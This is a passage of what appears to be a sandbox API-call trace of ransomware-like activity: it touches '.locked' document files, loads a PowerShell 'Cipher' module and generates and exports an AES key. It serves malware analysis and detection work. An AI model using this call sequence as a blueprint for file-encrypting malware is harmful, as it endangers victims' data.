lpFilePart=0x0) returned 0x87 [0132.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0132.888] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls.locked"), fInfoLevelId=0x0, lpFileInformation=0x69756bc | out: lpFileInformation=0x69756bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x126aa5d1, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x126aa5d1, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x126aa5d1, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xd64)) returned 1 [0132.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0132.888] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", lpFilePart=0x0) returned 0x41 [0132.888] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0132.889] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0132.889] CloseHandle (hObject=0x858) returned 1 [0132.892] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0132.893] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0132.893] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0132.898] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0132.899] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0132.899] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0132.899] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0132.903] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0132.904] GetConsoleOutputCP () returned 0x1b5 [0132.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0132.904] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0132.904] GetConsoleOutputCP () returned 0x1b5 [0132.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0132.905] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0132.905] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x699df3c*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x699df3c*, lpNumberOfCharsWritten=0x99ae3a4*=0x3c) returned 1 [0132.905] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0132.906] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0132.909] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0132.909] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0132.910] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0132.914] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0132.915] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0132.915] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0132.921] GetConsoleOutputCP () returned 0x1b5 [0132.922] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.922] GetConsoleOutputCP () returned 0x1b5 [0132.922] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.922] GetConsoleOutputCP () returned 0x1b5 [0132.922] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.922] GetConsoleOutputCP () returned 0x1b5 [0132.923] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.923] GetConsoleOutputCP () returned 0x1b5 [0132.923] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.923] GetConsoleOutputCP () returned 0x1b5 [0132.923] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.923] GetConsoleOutputCP () returned 0x1b5 [0132.924] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.924] GetConsoleOutputCP () returned 0x1b5 [0132.924] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.924] GetConsoleOutputCP () returned 0x1b5 [0132.924] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.924] GetConsoleOutputCP () returned 0x1b5 [0132.924] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.924] GetConsoleOutputCP () returned 0x1b5 [0132.925] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.925] GetConsoleOutputCP () returned 0x1b5 [0132.925] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.925] GetConsoleOutputCP () returned 0x1b5 [0132.925] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.925] GetConsoleOutputCP () returned 0x1b5 [0132.926] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.926] GetConsoleOutputCP () returned 0x1b5 [0132.926] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.926] GetConsoleOutputCP () returned 0x1b5 [0132.926] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.926] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0132.927] GetConsoleOutputCP () returned 0x1b5 [0132.927] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0132.927] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.927] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x699edc0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x699edc0*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0132.928] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.928] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0132.931] GetConsoleOutputCP () returned 0x1b5 [0132.931] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.931] GetConsoleOutputCP () returned 0x1b5 [0132.932] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.932] GetConsoleOutputCP () returned 0x1b5 [0132.932] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.932] GetConsoleOutputCP () returned 0x1b5 [0132.932] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.932] GetConsoleOutputCP () returned 0x1b5 [0132.933] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.933] GetConsoleOutputCP () returned 0x1b5 [0132.933] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.933] GetConsoleOutputCP () returned 0x1b5 [0132.933] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.933] GetConsoleOutputCP () returned 0x1b5 [0132.934] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.934] GetConsoleOutputCP () returned 0x1b5 [0132.934] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.934] GetConsoleOutputCP () returned 0x1b5 [0132.934] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.934] GetConsoleOutputCP () returned 0x1b5 [0132.935] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.935] GetConsoleOutputCP () returned 0x1b5 [0132.935] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.935] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0132.935] GetConsoleOutputCP () returned 0x1b5 [0132.936] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0132.936] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.936] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x699f818*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x699f818*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0132.936] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.937] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0132.940] GetConsoleOutputCP () returned 0x1b5 [0132.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.941] GetConsoleOutputCP () returned 0x1b5 [0132.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.941] GetConsoleOutputCP () returned 0x1b5 [0132.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.941] GetConsoleOutputCP () returned 0x1b5 [0132.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.942] GetConsoleOutputCP () returned 0x1b5 [0132.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.942] GetConsoleOutputCP () returned 0x1b5 [0132.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.942] GetConsoleOutputCP () returned 0x1b5 [0132.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.944] GetConsoleOutputCP () returned 0x1b5 [0132.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.944] GetConsoleOutputCP () returned 0x1b5 [0132.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.944] GetConsoleOutputCP () returned 0x1b5 [0132.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.944] GetConsoleOutputCP () returned 0x1b5 [0132.945] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.945] GetConsoleOutputCP () returned 0x1b5 [0132.945] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.945] GetConsoleOutputCP () returned 0x1b5 [0132.946] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.946] GetConsoleOutputCP () returned 0x1b5 [0132.946] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.946] GetConsoleOutputCP () returned 0x1b5 [0132.946] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.946] GetConsoleOutputCP () returned 0x1b5 [0132.947] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.947] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0132.947] GetConsoleOutputCP () returned 0x1b5 [0132.947] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0132.947] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0132.947] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69a160c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69a160c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0132.948] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0132.948] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0132.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.952] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0132.952] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.953] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0132.953] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0132.953] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.953] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.953] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.954] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0132.954] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84c78) returned 1 [0132.954] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0132.954] CryptExportKey (in: hKey=0x8e84c78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0132.954] CryptExportKey (in: hKey=0x8e84c78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69aaf0c, pdwDataLen=0x99ae894 | out: pbData=0x69aaf0c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0132.955] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xae9c\x69a\xe480\x99a\x14\x01\xd440\x73ae\x211c\x72c5") returned 0x0 [0132.955] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.955] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.955] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.955] SysStringLen (param_1="") returned 0x8 [0132.955] SysStringLen (param_1="R") returned 0x8 [0132.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.955] SysStringLen (param_1="\xf672\xd84a\x7f83\x4627\x5739\x8cde\xbaef\x3f7c") returned 0x8 [0132.955] SysStringLen (param_1="\xf672\xd84a\x7f83\x4627\x5739\x8cde\xbaef\x3f7c") returned 0x8 [0132.955] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.955] SysStringLen (param_1="RV") returned 0x8 [0132.955] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="\x1eb7\xf4d5\x5358\x63e5\xc87b\xb40c\x6597\xdbb6") returned 0x8 [0132.956] SysStringLen (param_1="\x1eb7\xf4d5\x5358\x63e5\xc87b\xb40c\x6597\xdbb6") returned 0x8 [0132.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="RV7") returned 0x8 [0132.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 